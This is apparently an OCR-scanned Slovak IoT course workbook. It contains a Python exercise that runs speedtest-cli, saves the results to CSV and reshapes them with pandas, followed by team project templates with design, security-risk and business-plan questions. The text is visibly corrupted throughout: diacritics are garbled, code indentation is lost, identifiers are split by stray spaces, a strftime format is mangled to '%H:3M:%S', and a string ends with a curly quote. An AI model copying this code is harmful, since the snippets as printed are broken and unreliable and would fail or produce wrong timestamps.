V tomto cviceni ziskate Statistiky rychlosti Internetu a ulozite aktualne data do suboru. Hodnoty budu
oddelené ¢iarkami a stibor bude ulozeny vo formate csv. Udaje budu nasledne naéitané do détove;j
Struktury Pythonu, Pandas DataFrame a pomocou jeho funkcii vyhladate data a budete s nimi dalej
pracovat.
J N E N EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
= POZNAMKA!

=IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o k tejto téme najdete v kapitolach 6 a 7, pripadne v odkazoch uvedenych na konci
= tohto dokumentu.

SppEEEEEENEEER

Realizacia cvicenia
Uloha 1

Stiahnite si Python skript SpeedTest, ktory sluzi pre meranie rychlosti uploadu a downloadu z internetu.
Skript je dostupny na Githube pod repozitarom: https://github.com/sivel/speedtest-cli

S pomocou modulu pip je mozné speedtest nainstalovat cez prikaz:
C:\>pip install speedtest-cli
Collecting speedtest-cli

Downloading
https://files.pythonhosted.org/packages/4c/d4/4a925bdb2c126e140d6ac8d7c745
00dcl7ab0cc943dd6el0a95786abbe7ac/speedtest cli-2.0.2-py2.py3-none-any.whl

Installing collected packages: speedtest-cli

Successfully installed speedtest-cli-2.0.2
Uloha 2

Vytvorte python skript a naimportujte vSetky potrebné moduly.

# Python library to manage date and time data
import datetime

# Python library to read and write csv files
import csv

import subprocess
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Uloha 3

Do premennej si vygenerujte ¢asovl znamku. Rozhodujucim krokom pri ziskavani Udajov pre vacsinu
aplikacii na analyzu dat je pridanie ¢asovej znacky k meraniam. Ak chcete vygenerovat ¢asovu peciatku,
pouzite funkciu datetime.now z balika datetime:

date_time = datetime.datetime.now()
print(date_time, type(date_time))

Instanciu triedy datetime nie je mozné priamo zapisat do textovej podoby. Funkcia strftime analyzuje
informacie o datume do retazca. Argumenty tejto funkcie uréuju format vystupnej informécie. Popis
tychto parametrov najdete v dokumentdcii funkcie strftime na adrese:

https://docs.python.org/2/library/time.html.

date_time.strftime('%a, %d %b %Y %H:3M:%S')
Po precitani dokumentacie funkcie strftime vygenerujte ¢asovu peciatku a analyzujte ju na retazecs
nasledujucim formatom: YYYY-MM-DD HH: MM: SS.

L1V
Uloha 4

Spustite stiahnuty Python script a zachytavajte vystup do suboru. Prikaz speedtest-cli spusteny z
terminalu vrati retazec s rychlostou stahovania a odosielania Udajov do internetu.

Spustite test rychlosti pomocou prikazu speedtest-cli. Vystup bude uloZeny v premennej
process_output.

# This string contains the command line to interface with speedtest.net
speedtest_cmd = "speedtest-cli --simple"

# Execute the process

process = subprocess.Popen(speedtest _cmd.split(), stdout=subprocess.PIPE)
# Collect the command output

process_output = process.communicate () [0]

VypisSte obsah premennej, vystup rozdelte a pridajte casovu znamku:

print (process_output, type(process_output))

date_time = datetime.datetime.now().strftime ("%Y-%m-%d %H:3M:%S")
process_output = process_output.split()
process_output.append(date_time)

print (process_output, type(process_output))

Cely kéd nasledne vioZzte do funkcie s nazvom speedtest(), ktoru zavolate z hlavného kddu.

# function to excute the speed test
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def speedtest():
# We need to store the time at which the speedtest was executed
date_time = datetime.datetime.now() .strftime ("%Y-%m-%d %H:3M:%S")

# This is a string that contains what we would write on the command
line

#to interface with speedtest.net
speedtest_cmd = "speedtest-cli --simple”
# We now execute the process:

process = subprocess.Popen(speedtest cmd.split(),
stdout=subprocess.PIPE)

process_output = process.communicate () [0]
process_output = process_output.split()

# and we add the date and time
process_output.append(date_time)

return process_output
Uloha 5

UloZte vystup vytvorenej funkcie speedtest() do csv suboru. Hodnoty oddelené Ciarkou (csv) su
najbeznejsi format importu a exportu pre tabulky a databazy. Ak chcete ziskat viac informacii o praci s
CSV v jazyku Python, prejdite na adresu https://docs.python.org/2/library/csv.html.

Vytvorte sdbor s ndzvom test.txt v adresari / tmp a do stboru zapiste "test_msg".
with open("/tmp/test.txt",'w') as f:
f.write('test _msqg')
Pre overenie obsahu novovytvoreného suboru pouzite linuxovy prikaz cat.
'cat /tmp/test. txt
Programové Citanie vytvoreného suboru:
with open("/tmp/test.txt",'r') as f:
str = f.read()

print(str)

Ak chcete pisat do suboru csv, je potrebné vytvorit objekt csv.writer. Skontrolujte
https://docs.python.org/2/library/csv.html a zistite, ktora funkcia objektu 'csv.writer' sa méze pouzit na
pridanie riadka do stuboru csv.

Kompletna funkcia zapisu vystupu do suboru:
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# function to save data to csv
def save_to_csv(data, filename):
try:
# If the file exists, we want to append a new line to it, with the
#results of the current experiment
with open(filename + '.csv', 'a') as f:
wr = csv.writer (f)
wr.writerow(data)
except:
# If it does not exist, create the file first
with open(filename + '.csv', 'w') as f:
Hint: This is similar to appending new lines to a file.

Create a csv writer object

Save (write) to file

#
#
# ADD CODE HERE
#
# ADD CODE HERE

Uloha 6

Napiste funkciu, pre otvorenie siboru CSV a vypis obsahu na obrazovku. Priklad najdete v sekcii 13.1.5
na adrese https://docs.python.org/2/library/csv.html

def print_ from csv(filename) :
with open(filename + '.csv', 'r') as f:
re = csv.reader (f)
# 1. Loop over the rows
# 2. print

Teraz su dokoncené vsetky funkcie potrebné na zhromazdovanie a ukladanie Udajov o rychlosti
internetu.

Uloha 7

Spustite Speedtest niekolkokrat a uloZte data. Napiste slucku, ktora vola test rychlosti 5-krat, vytlaci
vystup testov a uloZi idaje do suboru csv.

for i in range(5):
speedtest output = speedtest()

print('Test number {}'.format(i))

391



print (speedtest_output)
save_to_csv(speedtest output, '/tmp/rpi data test')
Zobrazte subor a skontrolujte, ¢i boli Udaje spravne ulozené.
print from csv ('/tmp/rpi_data test')
Ak je potrebna vacsia mnoZzina Udajov, test rychlosti moze bezat na pozadi pre viac vzoriek.
Uloha 8

Manipuldcia s idajmi. Python kniznica Panda je velmi uZito¢na pre pracu so Struktirovanymi datami.
Uplnu dokumentéciu najdete tu: http://pandas.pydata.org/pandas-docs/version/0.14.1/

V tejto Casti cvicenia sa pouZije vacsia mnozina Udajov, ktoré sme so vopred zozbierali. Nazov suboru je
rpi_data_long.csv. Ako prvy krok importujte potrebné kniznice.

import datetime
import csv
import pandas as pd

# NumPy is a library that adds support for large, multi-dimensional arrays
and matrices

# along with high-level mathematical functions to operate on these arrays

import numpy as np

VloZte subor csv do objektu DataFrame pomocou pandy. Pandas DataFrame je dvojrozmerna oznacena
datova $truktura so stipcami potencidlne odli$nych typov. MoZete si to zobrazit ako tabulku alebo
tabulku SQL. Funkcia kandidatskej kniZznice read_csv automaticky konvertuje sibor CSV do objektu
DataFrame.

Preditajte si dokumentdciu read_csv na adrese http://pandas.pydata.org/pandas-
docs/version/0.14.1/generated/pandas.read_csv.html. Tato funkcia obsahuje vela parametrov. Jedinou
nepovinnou moznostou je cesta k stiboru, t. J. umiestnenie suboru csv. VSetky ostatné parametre su
volitelné.

V tomto kroku importujete a zobrazite obsah siboru csv rpi_data_long.csv. Tento subor csv sa nachadza
v rovnakom adresari ako tento notebook Jupyter.

Priradte subor rpi_data_long.csv k suboru variable_file. PouZite Linuxovy prikazu head na zobrazenie
prvych 10 riadkov stboru csv. PouZivajte ndzov parametra funkcie read_csv a zadajte nazov stipcov
DataFrame.

data file = './Data/rpi_data_long.csv'
'head -n 5 ./Data/rpi_data long.csv
column names = [ 'Type A', 'Measure A', 'Units A',

'Type B', 'Measure B', 'Units B',
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'Type C', 'Measure C', 'Units C',
'Datetime’']

Pouzite funkciu read_csv na &itanie zo stboru a priradte nazvy stipcov ako premennt v datovom ramci.
Prikaz head() zobrazi prvé riadky datového ramca.

with open(data_ file, 'r') as f:

df redundant = pd.read csv(f, names = column_names)

# You can specify the number of rows you want to print to screen:
# you do so passing the number as an argument to the function

# (e.g., head(10))

df redundant.head()

Uloha 9

Vytvorte strucny vypis. V tomto kroku vytvorite kompaktnejsie zobrazenie pomocou kdpie datového
ramca df_redundant. Skopirujte df redundant do iného datového ramca s ndzvom df _compact
pomocou copy ().

df compact = df_ redundant.copy ()

Premenuijte stipce vzhladom na uvedené opatrenia:

Meranie A -> Ping (ms)

Meranie B -> Stiahnut (Mbit / s)

Meranie C -> Nahratie (Mbit / s)

Syntax:

df compact.rename (columns={'Measure A':'Ping (ms)',
'Measure B': 'Download (Mbit/s)',
'Measure C': 'Upload (Mbit/s)'}, inplace=True)

df compact.head(3)

Pretoze stipce Typy a jednotky u? nie si potrebné, mdzu sa tieto stipce zrusit.

df compact.drop(['Type A', 'Type B', 'Type C',

'Units A', 'Units B', 'Units C'], axis=1, inplace=True)
df compact.head()

V tabulke vyssie pole Datetime je retazec. Pandas a Python ponukaju mnozstvo operacii ha pracu s
datumom a ¢asom, ktoré mozu byt velmi uzito¢né. V nasledujiicom kroku bude retazec v stipci Datetime
rozdeleny na dva nové stipce.
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Uloha 10: Rozdelenie dat do 2 stipcov

V tomto kroku poutzijete Pandas na generovanie stipcov Datum a &as zo stipca Datetime a potom stlacte
stfpec Datetime.

Funkcia lambda sa pouziva na vytvorenie dvoch anonymnych funkcii, ktoré extrahuju iba datum a cas z
objektu datetime. Potom poutzite funkciu pandas, aplikujte ju na cely stipec (v praxi plati implicitne
definuje slucku a prechadza riadky jeden po druhom do nasej funkcie lambda). Vysledky vyslednych
funkcii ulozte do dvoch novych stipcov DataFrame.

Pouzite funkciu lambda na opakovanie d4tového ramca na rozdelenie datumu zo stipca Datetime.
Opakujte krok a a rozdelte stipec ¢as od stipca Datum.

df compact['Date'] = df compact['Datetime'].apply(lambda dt_str:
pd.to_datetime (dt_str) .date())

# Please note, this requires an intermediate step, because of how NaT are
treated by the time () function.

# Reference: https://github.com/pandas-dev/pandas/issues/11453

temp = df compact['Datetime'].apply(lambda dt_str: pd.to_datetime(dt_str))
df compact['Time'] = temp.dt.time

UloZte datovy rdamec pandas df _compact ako stubor csv s ndzvom rpi_data_compact:

df compact.to _csv('./Data/rpi_data compact.csv')
Otazky a ulohy na zamyslenie

1) Ako by ste zmenili kod, ak by ste chceli spustit kod zberu dat 100-krat?
2) Kam moze byt odoslany vystup z aplikacie?
3) Akym spdsobom je mozné napojit skript na MySQL databazu?

Odporucané zdroje

[1] Ping - https://sk.wikipedia.org/wiki/Ping

[2] Format CSV - https://sk.wikipedia.org/wiki/Comma-separated values

[3] Python Pandas - https://pandas.pydata.org/
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CVICENIE S31-33-CV1/2/3: Zaveredny loT projekt

Kfucoveé slova
loT projekt, komplexné loT riesenie,
Vystup cvicenia

Vytvorit komplexné rie$enie pre technicky problém vychadzajuci z redlneho sveta. Ulohou je navrhnut,
zrealizovat, zdokumentovat a obh4jit pred publikom vlastny loT product s ekonomickym potencidlom.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B vytvorit loT produkt a prejst vsetkymi fazami vyvoja,
B spoznate charakteristiku projektovej prace,
B schopnostiam timovej spoluprace.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomaécky:

Python 3,

textovy editor (alebo iné IDE),
Arduino, Raspberry P,

internetové pripojenie,

softvér pre kreslenie diagramov,
softvér pre tvorbu prezentdcii,
sada suciastok, snimacov a vodicov.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B znalosti nadobudnuté studiom predmetu Internet veci,
B schopnost aplikacie teoretickych poznatkov do praxe pri rieSeni zadania technického problému,
B znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby
S ohladom na komplexnost a naro¢nost zadania bol tomuto cvi¢eniu vyhradeny blok troch sedeni.
Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studenti budl pracovat v malych 3-4 &lennych skupindch a samostatne vytvarat rieSenie
technického zadania, ktoré si zvolili.
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3) Rozdelte studentov do malych skupin. PoZiadajte ich o vyber konkrétnych tém.
4) Rozdajte im predpripravené hardvérové sady.
5) Poskytujte im konzultacie pocas vyvoja rieSenia.

Prezentdcia

Na konci tretieho sedenia bude kazda skupina prezentovat vysledky svojej prace.
Od publika je ocakavané kritické zhodnotenie vystupu a poskytnutie konstruktivnej kritiky.
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PROJEKT
SLEDOVANIE OBSADENOSTI

“Tell me and I forget. Teach me and I remember. Involve me and I learn.”
Benjamin Franklin
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KATEGORIA

Informacny systém

PRODUKT

Systém sledovania obsadenosti

ZADANIE

Vytvorte proof-of-concept pre sledovanie obsadenosti miest. Aktudlny stav
obsadenosti sa bude zobrazovat’ na webe, kde si klient bude mdct pozriet’ celkovu
kapacitu a mnozstvo volnych miest. V ramci IoT rieSenia bude uzivatel
notifikovany prostrednictvom e-mailu, napriklad o uvol'neni miesta.

Zvol'te si cielovy segment trhu a navrhnite vhodné rieSenie pre zakaznika.
Pripravte si zakladny model bezpe¢nosti a biznis plan Vasho rieSenia podla
predlozenej metodoldgie.

POPIS

Navrhnite nasledujtce detaily:

* Cielovy segment trhu.

» Kto je VaSim zdkaznikom.

» Aky problém riesite.

» Navrhnite poziadavky na system.

* Vytvorte uzivatel'sky pripad (use-case).

* Navrhnite technické riesenie.

» Identifikujte IT bezpecnostné rizika pre Vasho zékaznika.
* Vytvorte biznis plan.

TIP

Niekol’ko moznych prikladov:

A) Parkovaci systém v podzemnom parkovisku v ndkupnom centre.
B) Aktualna obsadenost’ restauracie.

C) Mnozstvo l'udi cakajtcich u lekara.

Implementujte vlastna inovaciu, ktord poskytne naskok pred konkurenciou.

Priklady su len ukdazka moznych oblasti. Nenechajte sa obmedzovat. Kreativne
riesenia a trhové segmenty budu ocenené plusovymi bodmi.
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PROJEKT

TEAM

Meno Zodpovednosti

Prototypovy plan

Definujte funkéné poziadavky Vasho produktu. (Akt funkcionalitu by mal Vas§ produkt
obsahovat’?)

Navrhnite use-case Vasho produktu. (V krokoch popiste, ako by vyzeralo pouzivanie Vasho
produktu.)
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Popiste kI'igové aktivity pre vytvorenie prototypu Vasho riesenia. (Co musite spravit’, aby ste
uspesne vytvorili prototyp rieSenia?)

Rozdel'te aktivity jednotlivym ¢lenom timu.

Navrhnite ¢as potrebny pre dokoncenie jednotlivych tloh. (Ako dlho Vam to bude trvat’?)

Odhadnite cenovll naro¢nost’ prototype. (Kolko penazi by ste potrebovali pre vytvorenie
prototype?)
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ARCHITEKTURA (SW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych Casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢ast’ami. (Aké informécie prestivate medzi blokmi? Ako
sa presiivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre ich prepojenie.
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Navrhnite technicku Struktiru blokov systému. (Ake hotové rieSenia pouzijete, z akych SW a HW
modulov bude rieSenie zloZzené?)
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ARCHITEKTURA (HW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych Casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢astami? (Aké informécie prestivate medzi blokmi?
Ako sa presiivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre ich prepojenie.
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Navrhnite technicku Struktiru blokov. (Ake hotové rieSenia pouzijete, z akych SW a HW modulov
bude rieSenie zlozené?)
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BEZPECNOST (SW+HW)

Aka Cast’ systému je najviac kritickd pre Vasu firmu? Preco? (Hacknutie, ktorej Casti systému
ohrozi VaSe podnikanie?)

Aké typy pouzivatel'skych uctov buda pouzivat’ Vas systém? Aké data budu pristupné jednotlivym
uctom?

Co by mohlo motivovat’ utoénika k utoku na Va3 systém? (Co je mozné ziskat’ ispesnym
utokom?)

Aka je pravedpodobnost’ utoku na jednotlivé Casti systému? (kvalitativne hodnotenie rizik -
nizka/stredna/vysoka)
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Co sa moze stat, ak ziska utoénik pristup k datam vo Vagom systéme? (Aké data ziska? Aky to
bude mat’ dopad na zdkaznika a Vasu firmu?)

Ako chranite systém pred neopravnenym odpocivanim a zmenou dat? (Aké rieSenia a procesy by
ste nasadili?)

Co sa moze stat, ak zékaznik strati pristup k datam vo Vasom systéme? (Aky ma dopad na
zakaznika dlhodoba nedostupnost’ sluzby?)

Ako zabezpecite vysoku dostupnost’ sluzby? (Ako zabranite strate pristupu, nedostupnosti sluzby,
tzv. High-availability?)
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Ako zistite, ze Vas systém bol kompromitovany? (Ako zistite, ze V4§ systém sa stal cielom
hackerského utoku?)

407




BIZNIS

Jednou vetou definujte problém, ktory riesite. (Co sa snazite Vagim produktom vyriesit'?)

Konkrétne popiste Vasho cielového zakaznika. (Popiste, ako vyzera osoba, ktora rozhoduje o
nakupe, firma pre ktoru je Vas produk urceny.)

Popiste pridant hodnotu pre zakaznika. (Preco by si mal zadkaznik vybrat’ Va§ produkt a ¢o mu
prinesie?)

Navrhnite platobny model pre Vas product. (Akym spoésobom budete ziskavat’ peniaze?)

Odhadnite celkové naklady na vyrobu produkénej série. (Cena subsystémov, rézia pre manazment,
marketing, predaj, podpora.)

HW

SW

Rézia

CELKOM

Navrhnite jednotkovu cenu pre zékaznika. (Kol'ko by zaplatil zakaznik?)
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Kolko zékaznikov potrebujete, aby bol vysledok hospodarenia rovny 0? (zisk-naklady=0)
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Poznémky:
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Poznémky:
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Poznémky:

412



PROJEKT
SMART HOME

“Tell me and I forget. Teach me and I remember. Involve me and I learn.”
Benjamin Franklin
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KATEGORIA

Automatizovany systém

PRODUKT

Smart Home

ZADANIE

Vytvorte proof-of-concept pre systém vzdialeného ovladania domécnosti.
Prostrednictvom internetu by malo byt mozné ovladat’ elektronické a elektrické
zariadenia v domécnosti.

Implementuje systém merania spotreby a jeho zobrazovania vo webovom
rozhrani. Pripravte si zdkladny model bezpecnosti a biznis plan Vasho rieSenia
podl'a predlozenej metodologie.

POPIS

Navrhnite nasledujtce detaily:

* Cielovy segment trhu.

» Kto je VaSim zdkaznikom.

» Aky problém riesite.

» Navrhnite poziadavky na system.

* Vytvorte uzivatel'sky pripad (use-case).

* Navrhnite technické riesenie.

» Identifikujte IT bezpecnostné rizika pre Vasho zékaznika.
* Vytvorte biznis plan.

TIP

Niekol’ko moznych prikladov:

A) Ovladanie osveletenia, gardzovej a automatickej brany na pozemku.
B) Ovladanie kuarenia, rekuperacie vzduchu.

C) Bezpecnostny systém v domacnosti.

Implementujte vlastna inovaciu, ktord poskytne naskok pred konkurenciou.

Priklady su len ukdzka moznych oblasti. Nenechajte sa obmedzovat. Kreativne
riesenia a trhové segmenty budu ocenené plusovymi bodmi.
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PROJEKT

TEAM

Meno Zodpovednosti

Prototypovy plan

Definujte funkéné poziadavky Vasho produktu. (Akt funkcionalitu by mal V4§ produkt
obsahovat’?)

Navrhnite use-case Vasho produktu. (V krokoch popiste, ako by vyzeralo pouzivanie Vasho
produktu.)
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Popiste kI'igové aktivity pre vytvorenie prototypu Vasho riesenia. (Co musite spravit', aby ste
uspesne vytvorili prototyp rieSenia?)

Rozdel'te aktivity jednotlivym ¢lenom timu.

Navrhnite ¢as potrebny pre dokoncenie jednotlivych tloh. (Ako dlho Vam to bude trvat’?)

Odhadnite cenovll naro¢nost’prototypu. (Kol'ko peiiazi by ste potrebovali pre vytvorenie
prototype?)
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ARCHITEKTURA (SW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych Casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢ast’ami. (Aké informécie prestivate medzi blokmi? Ako
sa presiivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre ich prepojenie.
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Navrhnite technicku Struktiru blokov systému. (Ake hotové rieSenia pouzijete, z akych SW a HW
modulov bude rieSenie zloZené?)

ARCHITEKTURA (HW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢astami. (Aké informécie prestvate medzi blokmi. Ako
sa presivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre ich prepojenie.
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Navrhnite technicku Struktiru blokov. (Ake hotové rieSenia pouzijete, z akych SW a HW modulov
bude rieSenie zlozené?)
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BEZPECNOST (SW+HW)

Aka Cast’ systému je najviac kritickd pre Vasu firmu? Preco? (Hacknutie, ktorej Casti systému
ohrozi VaSe podnikanie?)

Aké typy pouzivatel'skych uctov buda pouzivat’ Vas systém? Aké data budu pristupné jednotlivym
uctom?

Co by mohlo motivovat’ uto&nika k utoku na Va3 systém? (Co je mozné ziskat’ ispesnym
utokom?)

Aka je pravedpodobnost’ utoku na jednotlivé Casti systému? (kvalitativne hodnotenie rizik -
nizka/stredna/vysoka)
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Co sa moze stat’, ak ziska utoénik pristup k datam vo Vagom systéme? (Aké data ziska? Aky to
bude mat’ dopad na zdkaznika a Vasu firmu?)

Ako chranite systém pred neopravnenym odpocivanim a zmenou dat? (Aké rieSenia a procesy by
ste nasadili?)

Co sa moze stat, ak zékaznik strati pristup k datam vo Vasom systéme? (Aky ma dopad na
zakaznika dlhodoba nedostupnost’ sluzby?)

Ako zabezpecite vysoku dostupnost’ sluzby? (Ako zabranite strate pristupu, nedostupnosti sluzby,
tzv. High-availability?)
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Ako zistite, ze Vas systém bol kompromitovany? (Ako zistite, ze V4§ systém sa stal cielom
hackerského utoku?)
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BIZNIS

Jednou vetou definujte problém, ktory riesite. (Co sa snaZite Vagim produktom vyriesit))

Konkrétne popiste Vasho cielového zakaznika. (PopiSte ako vyzera osoba, ktora rozhoduje o
nakupe, firma pre ktoru je Vas produk urceny.)

Popiste pridant hodnotu pre zakaznika. (Preco by si mal zdkaznik vybrat’ V4§ produkt a ¢o mu
prinesie?)

Navrhnite platobny model pre Vas produkt. (Akym spdsobom budete ziskavat’ peniaze?)

Odhadnite celkové naklady na vyrobu produkénej série. (Cena subsystémov, rézia pre manazment,
marketing, predaj, podpora.)

HW

SW

Rézia

CELKOM

Navrhnite jednotkovu cenu pre zékaznika. (Kol'ko by zaplatil zakaznik?)
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Kolko zékaznikov potrebujete aby bol vysledok hospodarenia rovny 0? (zisk-naklady=0)

424




Poznémky:
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Poznémky:

426



Poznémky:
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PROJEKT
NOTIFIKACNY SYSTEM

“Tell me and I forget. Teach me and I remember. Involve me and I learn.”
Benjamin Franklin
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KATEGORIA

Notifikacny systém

PRODUKT

Systém vcasného varovania

ZADANIE

Vytvorte proof-of-concept pre systém, ktory bude snimat’ fyzikédlne veliciny
(napr. teplotu, vlhkost, hluk, osvetlenie, ...) a na zdklade nastavenych parametrov,
po prekroceni tresholdu, vytvori notifikaciu pre uzivatela.

V ramci loT rieSenia bude uzivatel notifikovany prostrednictvom e-mailu. Zvol'te
si cielovy segment trhu a navrhnite vhodné rieSenie pre zdkaznika. Pripravte si
zakladny model bezpecnosti a biznis plan Vasho rieSenia podla predlozenej
metodologie.

POPIS

Navrhnite nasledujtce detaily:

* Cielovy segment trhu.

» Kto je VaSim zdkaznikom.

» Aky problém riesite.

» Navrhnite poziadavky na system.

* Vytvorte uzivatel'sky pripad (use-case).

* Navrhnite technické riesenie.

» Identifikujte IT bezpecnostné rizika pre Vasho zékaznika.
* Vytvorte biznis plan.

TIP

Niekol’ko moznych prikladov:

A) Snimanie a hodnotenie teploty, vlhkosti a irovne osvetlenia v sklade ovocia.
B) Snimanie a hodnotenie urovne teploty, vlhkosti vzduchu v priemysle vo
vybusnomprostredi.

C) Snimanie a hodnotenie hluku, frekvenéneho spektra a vibracii na
priemyselnych zariadenich

Implementujte vlastnu inovaciu, ktord poskytne naskok pred konkurenciou.

Priklady su len ukdazka moznych oblasti. Nenechajte sa obmedzovat. Kreativne
riesenia a trhové segmenty budu ocenené plusovymi bodmi.
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PROJEKT

TEAM

Meno Zodpovednosti

Prototypovy plan

Definujte funkéné poziadavky Vasho produktu. (Akt funkcionalitu by mal V4§ produkt
obsahovat’?)

Navrhnite use-case Vasho produktu. (V krokoch popiste ako by vyzeralo pouzivanie Vasho
produktu.)
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Popiste kI'igové aktivity pre vytvorenie prototypu Vasho riesenia. (Co musite spravit', aby ste
uspesne vytvorili prototyp rieSenia?)

Rozdel'te aktivity jednotlivym ¢lenom timu.

Navrhnite ¢as potrebny pre dokoncenie jednotlivych tloh. (Ako dlho Vam to bude trvat’?)

Odhadnite cenovll naro¢nost’prototypu. (Kol'ko peiiazi by ste potrebovali pre vytvorenie
prototype?)
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ARCHITEKTURA (SW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢ast’ami. (Aké informécie prestivate medzi blokmi? Ako
sa presiivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre prepojenie vstupov a vystupov.
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Navrhnite technicku Struktiru blokov systému. (Ake hotové rieSenia pouzijete, z akych SW a HW
modulov bude rieSenie zloZené?)

ARCHITEKTURA (HW)

Dekompozicia

Navrhnite a popiSte sub-systémy (bloky) Vasho rieSenia. (Z akych casti sa sklada VaSe rieSenie?)

Popiste tok informécii medzi jednotlivymi ¢ast’ami. (Aké informécie prestivate medzi blokmi? Ako
sa presiivaju medzi blokmi?)

Pre kazdy subsystém popiSte vstupy, vystupy a funkcie pre ich prepojenie.
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Navrhnite technicku Struktiru blokov. (Ake hotové rieSenia pouzijete, z akych SW a HW modulov
bude rieSenie zlozené?)

434




BEZPECNOST (SW+HW)

Aka Cast’ systému je najviac kritickd pre Vasu firmu? Preco? (Hacknutie, ktorej Casti systému
ohrozi VaSe podnikanie?)

Aké typy pouzivatel'skych uctov buda pouzivat’ Vas systém? Aké data budu pristupné jednotlivym
uctom?

Co by mohlo motivovat’ utoénika k utoku na Va3 systém? (Co je mozné ziskat’ iispesnym
utokom?)

Aka je pravedpodobnost’ utoku na jednotlivé Casti systému? (kvalitativne hodnotenie rizik -
nizka/stredna/vysoka)
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Co sa moze stat’, ak ziska utoénik pristup k datam vo Vagom systéme? (Aké data ziska? Aky to
bude mat’ dopad na zdkaznika a Vasu firmu?)

Ako chranite systém pred neopravnenym odpocivanim a zmenou dat? (Aké rieSenia a procesy by
ste nasadili?)

Co sa moze stat, ak zékaznik strati pristup k datam vo Vasom systéme? (Aky ma dopad na
zakaznika dlhodoba nedostupnost’ sluzby?)

Ako zabezpecite vysoku dostupnost’ sluzby? (Ako zabranite strate pristupu, nedostupnosti sluzby,
tzv. High-availability?)
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Ako zistite, ze Vas systém bol kompromitovany? (Ako zistite, ze VA$ systém sa stal cielom
hackerského utoku?)
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BIZNIS

Jednou vetou definujte problém, ktory riesite. (Co sa snazite Vagim produktom vyriesit’.)

Konkrétne popiste Vasho cielového zakaznika (Popiste ako vyzerd osoba, ktord rozhoduje o
nakupe, firma pre ktoru je Vas produk urceny.)

Popiste pridant hodnotu pre zakaznika (Preco by si mal zdkaznik vybrat’ Vas produkt a ¢o mu
prinesie.)

Navrhnite platobny model pre Vas produkt (Akym sposobom bude ziskavat’ peniaze.)

Odhadnite celkové naklady na vyrobu produkénej série (Cena subsystémov, rézia pre manazment,
marketing, predaj, podporu.)

HW

SW

Rézia

CELKOM

Navrhnite jednotkovu cenu pre zdkaznika. (Kol'ko by zaplatil zdkaznik.)
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Kolko zékaznikov potrebujete, aby bol vysledok hospodarenia rovny 0? (zisk-naklady=0)
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Poznémky:
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Poznémky:
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Poznémky:
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